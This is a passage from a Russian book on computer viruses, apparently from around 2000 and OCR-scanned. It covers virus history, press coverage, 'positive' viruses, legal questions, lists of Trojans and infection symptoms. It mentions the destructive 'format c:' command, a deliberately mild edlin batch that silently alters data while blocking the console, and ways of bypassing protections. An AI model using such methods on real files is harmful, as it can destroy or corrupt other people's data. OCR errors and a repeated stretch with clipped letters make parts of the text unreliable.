несколько специальных заседаний, посвященных защите от вирусов. Они сыграли определенную роль в сокращении слу чаев заражения компьютеров и ликвидации эпидемий вирусов С-648, RC-1701, и в
29
Предыстория особенности RC-1813, масштаб эпидемии которого в Киеве был наибольшим. Кстати, этот вирус хорошо прошелся по России, реально показав, насколько "невооруженные" пользователи уязвимы от этой новой для них опасности: сотни, если не тысячи часов были потеряны на переформатирование винчестеров и выгрузки архивных копий в надежде избежать повторного заражения. С сентября 1989 г. семинаром "Системное программирование" был организован выпуск электронного бюллетеня СОФТПАНОРАМА, который стал важным каналом распространения информации о появлении но вых компьютерных вирусов и бесплатных программах для борьбы с ними. В том же месяце начала распространяться версия 1.0 данной работы. Первые случаи потери важных данных от компьютерных вирусов упоминают ся в работе Н.Н.Безрукова "Компьютерная вирусология" и относятся на конец 1989 г., когда к нему обратился представитель оптовой базы, у которого, как оказалось, базы данных о хранимых запасах были повреждены вирусом DarkAvengerl800. Периодиче ски автору поступают сообщения о полностью уничтоженном содержимом винчесте ра, причем характер повреждений не позволяет достоверно установить, имеем ли мы дело с вирусом или с тщательно замаскированной троянской программой (например, подозревается одна версия COLORCAM со сломанной, но как видно, не до конца, за щитой), или с выходом из строя самого винчестера. При этом, однако, бросается в гла за тот факт, что примерно у половины пользователей к моменту потери содержимого винчестера не существует его более или менее "свежей" копии. Опыт содержит самую дорогую школу, однако многие, похоже, не способны учиться ни в какой другой. В кон це 1989 г. в Донецке была обнаружена троянская программа в составе "нелегальной" копии известной игры FORMULA. Эта программа переписывала себя в загрузочный сектор винчестера и через некоторое время стирала CMOS-память.
Отклики печати Теперь же обратимся к публикациям в прессе. Если следовать хронологии, прежде всего, конечно, следует упомянуть Шпи гель, которому, как это уже бывало, удалось пробить стену молчания публикацией "Скрытая команда". Споры были уже тогда. "Джером Лобель, консультант по безопас ности ЭФМ фирмы Honeywell Informations Systems, предупреждал: "То, что придумал Коэн, не должны публично обсуждать "ни Коэн, ни сознающие ответственность экс перты". Коэн возражал: "Все дело в том, что если до этого додумался я, то может до думаться и любой другой", и возможно, он окажется "Bad guy" ("плохим парнем"). После статьи в немецком "Шпигеле" в прессе появилась серия панических сообщений. Временами тому или иному пользователю казалось, что его ЭВМ зара жена. Все выглядело примерно так, как это происходит у студентов-медиков. Когда они начинают проходить симптомы различных заболеваний, то оказывается, что они больны всем, чем только можно. Однако не находился "сумасшедший, который это проверит", и интерес публики к проблеме постоянно угасал. Весной 1986 года все тот же журнал "Шпигель" опять привлек к себе внима ние, опубликовав небольшую заметку. Там сообщалось, что в США на различных
30
Предыстория персональных ЭВМ появились вирусы, которые портили данные и программы на подключенных к ЭВМ дисководах. Эта заметка, которая едва обратила на себя вни мание, побудила автора более интенсивно заняться своими исследованиями в облас ти компьютерных вирусов. В журнале "Компьютер World" Киев была опубликована статья некого г-на Клочкова. Очень эмоциональная статья... но никакой полезной информации. А еще автор статьи поведал читателям как он 4(!Н) дня охотился на Anti-EXE. Чтобы было понятно, Вам читающим сие, скажу, что Anti-EXE — примитивный нерезидент и на его уничтожение, на моем компьютере у меня ушло 45 минут (это был мой 5-й вирус в жизни, который я поймал на своем компьютере). Отсюда вывод: Выражаю свое со болезнование редакции журнала по поводу столь недалекого журналиста. Выводы: В публикациях специальных журналов также очень трудно отделить плевелы от пшеницы. Большая часть публикаций сводит всю проблему к хакерам. Причина этого, вероятно, заключается в том, что на хакеров еще не действуют раз личные ограничения, которые мешают работать многим уважаемым исследователь ским институтам. Остальная часть повествует о том, что дело дрянь и надо кое-что оторвать вирусописателям.
О сути вирусов
О сути вирусов Насколько велика опасность Однажды, проверяя свою почту на mail.га, я увидел баннер электронного го лосования. Поставив галочку в нужном месте, я решил посмотреть результаты пре дыдущих голосований и увидел такую вещь: Опрос с 25.05.99 по 10.06.99 Становились ли вы когда-нибудь жертвой компьютерных вирусов или хакеров? Всего 15150 7017(46%) — Д а 5534 (37%) — Нет 2599(17%) — Я сам хакер Ну и как вам это? Хотя если бы вопрос стоял, например: . Похищали ли вас инопланетяне? Ответы были бы 10% — Д а 20% — Нет 30% — Затрудняюсь ответить 40% — А я сам инопланетянин Так что верить опросам вряд ли стоит, но посмотреть интересно and nothing else matters. Так что оставим наши размышления и вернемся к нашим батонам. Ну а если серьезно, то почему же программы-вирусы привлекли такое при стальное внимание? Возможно, немалую роль в этом сыграло дерзкое название этих программ. Словотворчество специалистов по данной проблеме как раз совпало с публичным обсуждением проблемы СПИДа. Обыватель всегда пугается, если маши на становится похожей на человека, а многих, наверняка, потрясло вторжение ма шин — ЭВМ — в типично человеческую область, в область мышления. То, что ЭВМ может к тому же поражаться вирусами, то есть болеть, еще более приблизило маши ну к Homo Sapience (это можно использовать как пример научного словоблудия). Главная опасность вирусных кодов заключается в том, что программы-виру сы начинают жить собственной жизнью, практически не зависящей от разработчика программы, после первого же запуска. Так же, как в цепной реакции в ядерном реак торе, запущенный процесс очень трудно остановить, но можно... Однако к этому до бавляется еще один момент. В то время, как до сих пор для внесения изменений, пусть даже несущественных, в систему необходимо было подробнейшее знание сис темы для доступа к ЭВМ в течение длительного времени, с использованием вирус ных кодов эта задача выполняется очень просто.
32
О сути вирусов Пример: X хочет навредить Y, превратив все данные на ЭВМ Y в г...но. Разумеется, это возможно и без использования вирусных кодов, что и практикуется у ламеров и юзеров путем применения команды format с:, но для опытного программиста или че ловека занимающегося защитой компьютерной информации данное событие не представляет большой проблемы. Можно и по-другому, например, вводится рези дентная в памяти программа, задачей которой является стирание массовой памяти в определенный момент, в следствие чего Y потеряет несохраненные данные. Такие "шутки" часто встречаются в программном обеспечении, полученном из сомнитель ных источников. Здесь, существует "опасность", что эту резидентную в памяти про грамму обнаружат и удалят из ЭВМ, и даже безупречное выполнение этой программы не очень затрудняет Y, так как поврежденные данные могут быть восста новлены по резервной копии. При использовании вируса опасность разоблачения X существенно умень шается. Вирус может размножаться в вычислительных системах и за короткое время заразить все программы. Однако зараженная программа остается работоспособной. В качестве одной из задач обработки вирус помещает в нее функцию криптографи ческой шифровки всех данных. Так как во всех программах, пораженных вирусом, имеется алгоритм расшифровки, данные, могут быть приведены в читаемую форму, и все работы могут нормально выполняться. Это состояние продолжается до тех пор, пока все данные Y (в том числе и резервные копии) не будуг заменены без его ведо ма на зашифрованные. Если теперь, например, при наступлении определенной даты, имеющееся ин фицированное прмраммное обеспечение Y будет стерто, то теперь не только массивы данных, но и резервные копии станут бесполезными, так как зашифрованные данные могут обрабатываться только инфицированными программами. Абсолютным рекордс меном применения описанного метода можно считать вирус MCE.3544(OneHaif). Это только один пример, демонстрирующий работу вирусного программного обеспечения. Так как создатель вируса яри выборе конкретной задачи обработки подчиняется лишь ограничениям используемой вычислительной системы, можно все задачи, выполняемые в этой системе, объединить в один вирус. Однако одно это об стоятельство не объясняет потенциальную опасность компьютерных вирусов. К не му добавляется еще чрезмерная скорость распространения — компьютерные вирусы "размножаются", как жители Китайской Народной Республики. Теперь попробуем посчитать скорость размножения вируса. В основу вычис лений положен вирус, при каждом запуске инфицированной программы этот вирус создает новую копию вируса. Т.е. после первого запуска существуют уже две версии, одна из которых является оригиналом. Каждая из этих двух программ при запуске также создает новую копню вируса. Таким образом, в системе, инфицированной этим вирусом, имеется столько вирусов, сколько раз запускались инфицированные программы. Наглядно это можно увидеть на графике, где по оси х отложим количе ство запусков вируса или его копий, а по оси у количество созданных вирусов
33
О сути вирусов
Как вы видите скорость размножения компьютерных вирусов намного боль ше скорости размножения австралийских кроликов.
Вирусофобия Следует отметить, что в ряде организаций само появление нового вируса вызы вает панику, парализуя работу на несколько дней. При отсутствии специалистов в про цессе борьбы с попавшим вирусом зачастую выполняется огромный объем ненужной работы, например, переформатирование винчестера. В процессе выгрузки и загрузки информации пользователи сами могут в спешке уничтожить важную информацию. Поскольку в таких организациях руководство обычно слабо представляет се бе принципы действия и эффекты, вызываемые этим классом программ, у програм мистов появляется возможность использовать вирусы как "отходной вариант" для объяснения каких-то трудностей или причин срыва сроков. Варианты объяснений могут варьироваться от самых примитивных ("Я все сделал(а), а потом пришел вирус и все уничтожил"), до вполне квалифицированных (я потратил столько времени, применил все свои знания в области программирова ния, но это совершенно новый вирус с новым алгоритмом заражения и распростра нения, скорее всего придется и ере фор матировать винт). Услышав такие оправдания начальство спишет все на фарс-мажор и все... Далеко не все повреждения файловой системы, отказы винчестера или обору дования вызываются вирусами. Например, некоторые типы винчестеров имеют довольно низкую надежность и "сыпятся" без всякого вмешательства вирусов. Име ются компьютеры, которые можно загрузить, только дав им прогреться в течение по лучаса. Автору "Компьютерной вирусологии" Н.Н.Безрукову приходилось работать на дефектном дисководе, который не только фрезеровал дискеты, но и при записи иногда стирал FAT. Причем восстановить поврежденный FAT при помощи известной утилиты Norton Disk Doctor не удавалось. Общеизвестно, что известные оболочки Windows 95-98-2000 и без всяких вирусов регулярно зависают. Причем так надежно, что приходится использовать комбинацию из трех пальцев Ctrl + Alt +Reset, в смыс ле просто Reset. В то же время имеется тенденция атрибутировать любое повреждение данных присутствием вируса. Это по сути один из вариантов мании ("вирусомания"), которая подобна печально известной шпиономании. Первыми пользу из "вирусомании" на-
О сути вирусов учились извлекать электронщики; если компьютер барахлит, а им лень разбираться, то в ход пускается неотразимый аргумент-приговор: "У вас какой-то вирус".
Положительные вирусы? Во всех дискуссиях на тему вирусов можно услышать о положительных эффек тах, которых можно достичь при помощи вирусов. В качестве классического примера называют чаще всего так называемый вирус сжатия, о котором впервые написал Коэн. Этот вирус должен быть однажды введен в систему, затем он должен инфицировать все исполняемые программы и при помощи собственного задания на обработку — сжатие данных посредством кода Хаффмана (см. ниже) —г уменьшить объем памяти, занятый пораженным программным обеспечением соответствующей массовой памяти. И вот свершилось! В декабре 1992 года членом группы TridenT Masud Khafir'oM был написан вирус Cruncher. Данный вирус, находясь резидентно в памя ти, сжимает стартующие программы стандартным LZV-алгоритмом популярной ути литой сжатия DIET J.00 известного японского программиста Teddy Matsumoto. Сжатая программа, конечно, не может быть непосредственно выполнена, пе ред выполнением она должна быть опять приведена в исходное состояние. Таким об разом, эта задача должна выполняться вирусом сразу после загрузки программы, а это значит, что сам вирус не может быть сжатым. На практике этот процесс мог бы выглядеть следующим образом:
35
О сути вирусов
Как вы видите скорость размножения компьютерных вирусов намного боль ше скорости размножения австралийских кроликов.
Вирусофобия Следует отметить, что в ряде организаций само появление нового вируса вызы вает панику, парализуя работу на несколько дней. При отсутствии специалистов в про цессе борьбы с попавшим вирусом зачастую выполняется огромный объем ненужной работы, например, переформатирование винчестера. В процессе выгрузки и загрузки информации пользователи сами могут в спешке уничтожить важную информацию. Поскольку в таких организациях руководство обычно слабо представляет се бе принципы действия и эффекты, вызываемые этим классом программ, у програм мистов появляется возможность использовать вирусы как "отходной вариант" для объяснения каких-то трудностей или причин срыва сроков. Варианты объяснений могут варьироваться от самых примитивных ("Я все сделал(а), а потом пришел вирус и все уничтожил"), до вполне квалифицированных потратил столько времени, применил все свои знания в области программировая, но это совершенно новый вирус с новым алгоритмом заражения и распростра няя, скорее всего придется переформатировать винт). Услышав такие оправдания *альство спишет все на фарс-мажор и все... Далеко не все повреждения файловой системы, отказы винчестера или оборувания вызываются вирусами. Например, некоторые типы винчестеров имеют вольно низкую надежность и "сыпятся" без всякого вмешательства вирусов. Имеся компьютеры, которые можно загрузить, только дав им прогреться в течение почаса. Автору "Компьютерной вирусологии" Н.Н.Безрукову приходилось работать дефектном дисководе, который не только фрезеровал дискеты, но и при записи огда стирал FAT. Причем восстановить поврежденный FAT при помощи известной тлиты Norton Disk Doctor не удавалось. Общеизвестно, что известные оболочки ndows 95-98-2000 и без всяких вирусов регулярно зависают. Причем так надежно, ) приходится использовать комбинацию из трех пальцев Ctrl + Alt +Reset, в смыспросто Reset. В то же время имеется тенденция атрибутировать любое повреждение данных присутствием вируса. Это по сути один из вариантов мании ("вирусомания"), которая подобна печально известной шпиономании. Первыми пользу из "вирусомании" на-
i
О сути вирусов учились извлекать электронщики: если компьютер барахлит, а им лень разбираться, то в ход пускается неотразимый аргумент-приговор: "У вас какой-то вирус".
Положительные вирусы? Во всех дискуссиях на тему вирусов можно услышать о положительных эффек тах, которых можно достичь при помощи вирусов. В качестве классического примера называют чаще всего так называемый вирус сжатия, о котором впервые написал Коэн. Этот вирус должен быть однажды введен в систему, затем он должен инфицировать все исполняемые программы и при помощи собственного задания на обработку — сжатие данных посредством кода Хаффмана (см. ниже) — уменьшить объем памяти, занятый пораженным программным обеспечением соответствующей массовой памяти. И вот свершилось! В декабре 1992 года членом группы TridenT Masud Khafir'oM был написан вирус Cruncher. Данный вирус, находясь резидентно в памя ти, сжимает стартующие программы стандартным LZV-алгоритмом популярной ути литой сжатия DIET ] .00 известного японского программиста Teddy Matsumoro. Сжатая программа, конечно, не может быть непосредственно выполнена, пе ред выполнением она должна быть опять приведена в исходное состояние. Таким об разом, эта задача должна выполняться вирусом сразу после загрузки программы, а это значит, что сам вирус не может быть сжатым. На практике этот процесс мог бы выглядеть следующим образом:
О сути вирусов С теоретической точки зрения эта программа-вирус действительно выглядит вполне положительно. Если же более внимательно рассмотреть структуру програм мы и вытекающие из нее взаимосвязи, на практике возникают весьма серьезные про блемы. Прежде всего увеличивается время выполнения программ, во-первых, из-за необходимости декомпрессирования программы перед каждым ее выполнением, вовторых, из-за того, что прежде должен быть выполнен поиск несжатой программы по всему массиву программ, а возможно и сжатие найденной программы. Кроме того, такое сжатие целесообразно лишь в том случае, если сжимаемая программа хотя бы на пятьдесят процентов больше самой программы-вируса, так как в противном слу чае сжатая программа, инфицированная вирусом, займет больше места в памяти, чем исходная. В некоторых случаях возникают еще и правовые проблемы, так как про граммное обеспечение нельзя сжимать, по крайней мере тогда, когда пользователь хочет, чтобы изготовитель отвечал за возможные ошибки в программах. В настоящее время проблема сжатия данных становится все менее актуаль ной из-за снижения цен на жесткие диски. Выводы: Пользователи бытовых и персональных ЭВМ не используют такое программное обеспечение из-за чрезмерного увеличения времени выполнения про грамм, пользователи мини и больших ЭВМ имеют достаточный объем памяти, что бы также не пользоваться вирусом сжатия. В обоих случаях не последнюю роль играет страх перед неконтролируемыми изменениями, вносимыми в программное обеспечение. Дополнительные примеры возможных задач обработки программ-вирусов бу дут приведены в последующих главах. При рассмотрении приведенных там приме ров очень быстро становится ясным, как сильно влияет точка зрения на оценку обработки (полезная или вредная). В заключение — персональное мнение Р.Бургера о "положительных вирусах": "Использование вирулентного программного обеспечения целесообразно только в системах, предназначенных для разработки совершенно нового структури рованного программного обеспечения. В традиционных системах все виды обработ ки, обеспечиваемые вирусами, достижимы другими программными средствами, поддающимися контролю. Исключение составляют случаи, в которых контроль или возможность кон троля являютея нежелательными. Читатель должен сам решить, какие случаи ис пользования он считает допустимыми."
Неосведомленность готовит почву Тема "защита от вирусов" очень трудна для многих изготовителей аппаратно го и программного обеспечения. Причина этого заключается в том, что предоставляя специальную системную информацию, необходимую для защиты от вирусов, фирма снабжает этой информацией и "противную сторону".
36
О сути вирусов Пример тому можно найти в операционной системе MS-DOS. Когда первые персональные ЭВМ фирмы IBM, тогда еще с операционной системой PS-DOS, по явились на рынке, многие пользователи удивлялись, почему они не могут найти в ка талоге такие файлы, как MSDOS.SYS или IO.SYS. Причина заключается в том, что, как теперь знает почти каждый пользователь MS-DOS, атрибут "невидимый файл" "(Hidden file)" предотвращает вывод этих имен в каталоге. Теперь имеется много программ — отчасти даже сервисные программы MS-DOS, с чьей помощью каждый пользователь может изменять атрибуты и редактировать даже "невидимые файлы". Таким образом, атрибут "невидимый" потерял защитные функции из-за распростра нения информации о нем. Очень многие изготовители до сих пор считают, что программа защиты дей ствительно хороша лишь в том случае, если не известен принцип ее действия. Чаще всего при этом не понимают, что скрывать принцип действия, а следовательно, и обеспечивать функции защиты можно лишь временно. Функция защиты должна быть такой, чтобы можно было без опаски обнаро довать принцип ее действия, а потенциальный злоумышленник должен сразу понять безнадежность любой попытки ее обхода, и потому отказаться от этой попытки. Эта точка зрения, однако, до сих пор не признается фирмами, производящи ми программное обеспечение. Защита данных и сегодня еще во многом базируется на неосведомленности пользователя. Лишь несколько примеров: FIBU защищен паролем. В шестнадцатиричном дампе программы пароль расположен непосредственно за словом "пароль:". Кроме того, все данные могут быть выведены на экран при помощи команды TYPE. Система баз данных не позволяет осуществить прерывание программы на этапе проверки записи о защите авторских прав. При переадресации 1NT 5 на собст венную программу прерывание становится возможным. Защита от копирования предотвращает проведение отладки путем "переадре сации" указателя прерывания. После "обратной переадресации" указателя отладка становится возможной.
Отдельные случаи Вирусы на дискетах с бесплатным программным обеспечением. Одной из на иболее широко известных программ-вирусов является бесплатное программное обеспечение, которое все чаще оказывается зараженное вирусом. Ответственность преступника, "заразившего" такую программу бесплатного ПО, можно без труда ква лифицировать в соответствии с уже рассмотренными нормами. Он несет уголовную ответственность, а также гражданскую ответственность за возмещение ущерба. Та кой ущерб может быть довольно внушительным, если исходить из широкого и очень быстрого распространения бесплатного программного обеспечения и большого чис ла пользователей, которые могут пострадать.
О сути вирусов Но вопрос о правовых последствиях для поставщиков бесплатного ПО, по ставляющих отдельные из предлагаемых ими программ зараженными вирусом, про блематичен. Бесплатное ПО распространяется многочисленными отправителями, регулярно публикующими свои объявления в журналах по вычислительной технике, а также через почтовые ящики, которые позволяют непосредственное обращение к областям общего пользования по линиям связи.
Протест порождает вирус В дискуссиях о компьютерных вирусах появился новый термин — "вирусы протеста". Здесь имеются в виду вирусы, используемые против компьютеров, кото рые определенные общественные группы считают особо опасными, бесчеловечными или представляющими какую-либо угрозу. В частности, в прессе промелькнули со общения о том, что группа хакеров и противников бомбардировки Югославии пла нировали применить вирусы против компьютеров НАТО, но, насколько мне известно, эти вирусы так и остались на "бумаге". В этой связи следует кратко пояснить, в какой мере эти, так называемые, "ви русы протеста" можно рассматривать как легальное средство разрешения общест венного противоречия. Вопрос о том, насколько легальным является использование "вирусов протеста" здесь не рассматривается, поскольку это вопрос не чисто право вой, а скорее политический или морально-этический. На вопрос о правовой допустимости "вирусов протеста" ответить очень про сто: эти вирусы ничем не отличаются от прочих. Следовательно, их применение ка рается в соответствии с типовыми, подробно здесь рассмотренными уголовными нормами. Наказание не назначается лишь в том случае, если применение вирусов оп равдано. Стандартным основанием для оправдания может служить в определенной степени Конституция той или иной страны. Но статья 20 Конституции предоставляет право протеста только в случае уг розы сущности свободно-демократического строя общества. Нельзя протестовать против любого нарушения права. Кроме того, право протеста может быть только по следним средством воздействия. Предварительно должны быть исчерпаны все разре шенные средства устранения затруднений. Из сказанного следует, что так называемые "вирусы протеста" столь же неза конны, что и "обычные" вирусы.
Манипулирующие вирусы Как уже было сказано, вирусы чаще всего оказывают разрушающее действие. Однако существуют и манипулирующие вирусы, которые требуют специальной пра вовой оценки. Здесь рассматривается только ответственность за различные виды ма нипулирующих вирусов на основе УК. Гражданско-правовые аспекты не требуют детализации.
38
О сути вирусов
Вирусы, открывающие доступ к компьютерным системам Возможна разновидность вирусов, открывающая пользователю доступ к за крытым для него компьютерным системам либо к определенным областям памяти. Такой вирус дает возможность пользователю выполнять свои программы или ис пользовать систему каким-то иным образом без соответствующего разрешения. Он может также получить возможность читать или заменять данные, не имея к ним пра ва доступа. Могут быть рассмотрены и другие составы преступления, которые здесь разу меется применимы, поскольку имеет место изменение программ или массивов данных. В результате проникновения в компьютерную систему или в определенную область системы, закрытую для пользователя, он, очевидно, вынужден будет прочи тать данные, хранящиеся в этой системе. Отсюда следует, что пользователь, приме няющий вирус (а не лицо его внедрившее!), несет ответственность за шпионаж.
Вирусы, генерирующие файлы регистрации инфицированных программ Начинают развиваться вирусы, способные генерировать файл регистрации для определенных программ, из которого можно получить следующую информацию: кто, когда, как и какую использовал программу, какие работы были выполнены в резуль тате этого использования и какие пароли применялись для доступа к программам. При занесении в файл регистрации пароля речь идет об информации, кото рая хотя и заносится в файл регистрации вновь, но уже была записана в другом ме сте системы, а потому ее прочтение можно квалифицировать как шпионаж. С этой точки зрения генерация файла регистрации представляет собой всего лишь специ альный метод шпионажа за данными, за который полагается наказание по соответ ствующей статье УК.
Манипуляции данными В этом разделе не будем слишком вдаваться в подробности, чтобы не дать "руководства к действию". Потому вы найдете здесь лишь один пример, позволяю щий изменить данные, но этот пример выбран таким образом, чтобы он не предста вил серьезной опасности для наборов данных. Вновь речь идет о программе, выполняемой на уровне команд ЭВМ, не требующего от программиста никаких спе циальных знаний. Для этого целесообразно вновь воспользоваться программами msdos. В данном случае используется программа edlin. Задача состоит в том, чтобы в некотором файле заменить все символы "9" кода ascii на символы "8" кода ascii. Са ма программа состоит из двух частей: файла пакетной обработки и файла команд. Файл пакетной обработки с именем ех.ва! состоит лишь из одной строки: edlin dummy.dat change
I
39
О сути вирусов Сюда же относится командный файл change. Этот файл нужно сгенерировать с помощью отладчика, поскольку он содержит управляющие символы: Файл dummy.dat изменяется этой программой следующим образом: Файл пе ред вызовом ех.ваГ.
Запускается файл ех.ват, редактор считывает файл, заменяет "9" на "8" и вновь записывает файл в память. Перед этим целесообразно заблокировать интер фейс консоли с помощью ctty mil. Кроме того, на экране появляется следующая ин формация:
Теперь файл dummy.dat может выглядеть таким образом:
Легко представить, какой хаос внутри программы fibu могут вызвать такие манипуляции. Собственно говоря, если такие манипуляции будут раскрыты доста точно быстро, все же потребуется определенное время, пока с этими данными мож но будет работать обычным образом.
Диагноз: поражение вирусом? С тех пор, как Фред Коэн вынес на обсуждение тему о вирусах, в широкой прессе постоянно сообщалось о нарушениях в работе вычислительных устройств, вызванных компьютерными вирусами. К числу наиболее известных "жертв" относят ся ЭВМ высших учебных заведений, школ и сети ЭВМ крупных компаний. Однако получить подробную информацию об этих событиях чрезвычайно трудно, и поэтом}' можно предположить, что недостаточно компетентные журналисты превратно истол ковали некоторые высказывания ответственных лиц за эти системы, что и привело к появлению подобных сообщении. Верно установлено, что во всех расследованных автором случаях ссылка на компьютерные вирусы становилась сомнительной, как только выяснили, что случилось с зараженными программами. А именно, по утверж-
40
О сути
вирусов
дснию занятых этими вопросами сотрудников, такие программы всегда уничтожа лись. Поэтому до сих пор не удалось получить определенных доказательств наличия вирусной атаки. Некоторые, особо выдающиеся случаи, которые произвели много шума (ни из чего), рассмотрены ниже. 1. Рождественский вирус Эта программа (VM/CMS), вероятно, известна большинству читателей, хотя бы по названию. Она достаточно быстро распространилась через сеть FARN/Bitnet (научная сеть) и вскоре обнаружилась даже в Токио. Подробнее об этом вирусе чи тайте в главе "Сети". 2. Венский вирус Чрезвычайно искусно запрограммирован компьютерный вирус (VSDOS). Эф фект манипуляции с данными здесь едва ли можно просчитать. В самом безобидном случае происходит крах системы. Распространенность вируса очень трудно оценить, так как задание на выполнение манипуляций вирусом активируется только при опре деленных условиях (деление без остатка системного времени в секундах на восемь). 3. Израильские вирусы для ПВМ Конечно, все было не так плохо, как описано в одной из бульварных газет в начале 1988 г.: "программа-убийца: первый компьютер при смерти". Вирус в цент ральной ЭВМ Иерусалимского университета оказался "уткой". То что в этой статье понятие "хакер" стало синонимом "саботажник" вполне соответствует стилю и уров ню данной газеты, но одновременно служит подтверждением того, что посредники в передаче данных все чаще получают ярлык уголовных преступников. Расследование по данному газетному сообщению показало, что в этом уни верситете действительно появились вирусы, но не на большой ЭВМ, а в ПЭВМ, ра ботающей под MS-DOS. За очень короткий срок был разработан антивирус. Но так как слабые места этой программы были известны (небольшая модификация вируса делала ее беспо лезной), программа не была опубликована. 4. Программный вандализм В разных университетах США был обнаружен вирус, поражающий процес сор команд. При каждом обращении к дискете или диску с помощью команд TYPE, COPY, DIR и т.д. происходило заражение файла COMMA.NDS.COM на со ответствующем дисководе, причем файл перезаписывался собственными метода ми. При четвертом поражении все имевшиеся носители данных были стерты полностью, т.к. были перезаписаны дорожки начальной загрузки и FAT (таблица размещения файлов). Четыре сгенерированные дочерние программы обладали те ми же свойствами... Этот вирус можно обнаружить по измененной записи даты и времени созда ния файла. , . ,
41
О сути вирусов 5. Набор для конструирования Между тем появилась разработанная в ФРГ для ЭВМ "Атари" программа кон струирования вирусов VCS ("набор для конструирования вирусов" — подробнее в главе "Конструкторы вирусов"). Программа предоставляет пользователю широкие возможности создания вирусов по собственному вкусу. Например, с помощью меню можно выбирать расширение поражаемых файлов, поражаемый вирусом дисковод и задание на выполнение манипуляций. Кроме поставляемых вместе с программой за даний на выполнение манипуляций над данными (стирание диска, сброс системы и т.д.) можно включать в конструируемые вирусы и разработанные самим пользовате лем задания на выполнение манипуляций. Поскольку изготовитель вполне понимает опасность такого конструктора, од новременно поставляется антивирус, который находит "разбежавшиеся" вирусы и стирает соответствующие программы. Подчеркивается, что эта программа сможет быть дана напрокат другим пользователям. Один из текстов показал, что созданные вирусы могут быть заблокированы как с помощью защиты записи, так и путем уста новки атрибута файла "только чтение". Совместно поставляемый антивирус обнару живает только зараженные программы, а не собственно вирусы. Первоначальная цена программы, по данным изготовителя, около 50$, на данный момент ее свобод но можно достать в Internet. 6. Вирусы для системы "Амига" Концепция системы "Амига" является идеальной для применения вирусов. Здесь кратко рассматриваются два ранее обнаруженные вируса. У Вирус Эта резидентная программа-вирус распространяется только при сбросе сис темы и при каждой смене дискеты копируется в блок начальной загрузки дискеты. Она сообщает о себе после успешного размножения (после 16-го сброса) текстом: S o m e t h i n g w o n d e r f u l l h a s h a p p e n d , Your Amiga, i s (""Произошло чудо, Ваша "Амига" о ж и л а . . . )
alive
По-видимому, работоспособность системы существенно не нарушается. "Разбойничий"вирус Этот вирус копирует себя при каждой смене дискеты в блок загрузки и зано сит свой номер поколения в "дочернюю" программу. До меня дошел вирус 757 поко ления. Вирус содержит еще один внутренний счетчик с шестнадцатеричным смещением 3D4, который примерно через 5 минут вызывает фатальный сбой систе мы и после каждого 20-го сброса перезаписывает дорожку 880. Этот вирус нельзя Iудалить с помощью команды установки, а только путем перезаписи блоков 0 и 1 ну левыми байтами. Обе эти программы-вирусы несовместимы друг с другом; их комбинации вы зывают "медитации гуру" ЭВМ "Амига" (фатальный сбой системы). Обе программы устойчивы к сбросу (они удаляются из памяти только после выключения питания не менее чем на 5 с) и содержат текстовый вирус, благодаря чему их относительно лег ко локализовать.
42
Вполне уместен вопрос пользователя: "Как можно обнаружить заражение ви русами?" Ответить на этот вопрос практически невозможно. Разумеется, существуют определенные признаки,вирусного заражения, но окончательное доказательство мо жет дать только системный программист, если ему удается расшифровать структуру вируса. Не нужно много фантазии, чтобы прийти к заключению, что проверка со ставных частей программы, которая даже требует для ЭВМ значительных затрат, ед ва ли реализуема на мини — или больших ЭВМ. Поэтому в сложных системах отказываются от такой сплошной проверки и целиком генерируют систему заново. Все перечисленные ниже программы относятся к числу "троянских коней", т.е. наряду с нормальными функциями они выполняют и другие задания. ARC513.EXE При запуске разрушает дорожку дискеты или диска. BALKTALK Все версии этого манипулирующего вируса разрушают сектора диска. DISKCAN Существует под разными именами. Первоначальное назначение — отыскание де фектных секторов. Создает дефектные сектора. DOSKNOWS Разрушает таблицу размещения файлов, т.е. делает диск или дискету непригодными для применения. Длина оригинальной версии точно 5376 байт. Другая длина про граммы свидетельствует об ее изменении. EGABTR Предназначена будто бы для улучшения дисплея EGA. Гасит все и выдает сообще ние "АгП arf! Got You" ("С нами Бог"). FILER Стирает данные. SECRET Программа "секретная" в буквальном смысле слова. Предотвращает любой несанк ционированный доступ к диску путем форматирования последнего. STRIPES Во время чтения пароля выводит на экран американский флаг, а затем загружает файл STRPES.BQS. VDIR Разрушитель дисков, подробного описания к моменту выхода книги я так и не нашел. Разумеется, этот список не полон и не актуален, поскольку кнопка F6 уже из вестна многим пользователям не говоря о вирмейкерах.
43
О сути вирусов При обнаружении одного или нескольких признаков, перечисленных ниже, рекомендуется тщательно проверить программное обеспечение: 1. Программы начинают работать медленнее обычного. 2. Программы выполняют такие обращения к дискам или дискетам, которые преж де не выполнялись. 3. Возросло время загрузки. 4. Необъяснимые отказы системы. 5. Программы, которые прежде загружались без проблем, прерываются с выдачей сообщения "Недостаточен объем памяти." 6. Увеличение, занимаемого программами объема памяти. 7. Неизвестные и/или необъяснимые сообщения об ошибках. 8. Уменьшение объема памяти на дискете или диске, хотя добавление или расшире ние файлов не производилось. 9. Резидентные программы (например, side kick) исполняются неверно или вообще не исполняются. Любой читатель может сказать, что некоторые из этих явлений он уже много кратно наблюдал на своей системе. Это неудивительно, если вспомнить, насколько сложными стали за последнее время "малые" машины, работающие под MS-DOS. Но этот же читатель подтвердит, что подобные ошибки встречались лишь при использовании новых или измененных программ (разумеется, при исправной аппа ратуре). Если же Вы никогда не имели дела с такими ошибками, попробуйте одно временно загрузить в ЭВМ несколько резидентных программ. Вы с гарантией получите то или иное сообщение об ошибке. Такие ошибки могут быть вызваны проблемой "переносимости", если, напри мер, "разнятся" адреса прерывания нескольких программ. Естественно, аналогичная проблема "переносимости" существует и для вирусов. Они должны работать тайком, чтобы пользователь этого не заметил. Это не всегда легко выполнить. Даже крупным поставщикам программного обеспечения приходится сталкиваться с проблемой пе реносимости и жизнестойкости своих программ, а разработчик имеет дело с анало гичными, если не с еще более сложными проблемами. Обычно для исчерпывающей проверки не хватает времени, а поэтому вирусы часто несовершенны и содержат ошибки. Но! Совершенные вирусы все-таки есть, Onehalf, Тспеспеп(Чечен) или Win95.cih, например.
Вирусы из Интернета Вся эта история началась с уже упоминавшегося вируса Мориса. Который, хотя и является едва ли не самым знаменитым компьютерным вирусом, уже умер (кстати все определяемые и излечиваемые полифагами вирусы можно считать мерт выми). Как сказал сам автор, вирус был "экспериментальный", но это обстоятельст во не убедило присяжных в американском суде. Предназначался он для UNIX'a, и ничего не умел кроме как только размножаться, чем и был по-своему опасен (от бес-
44
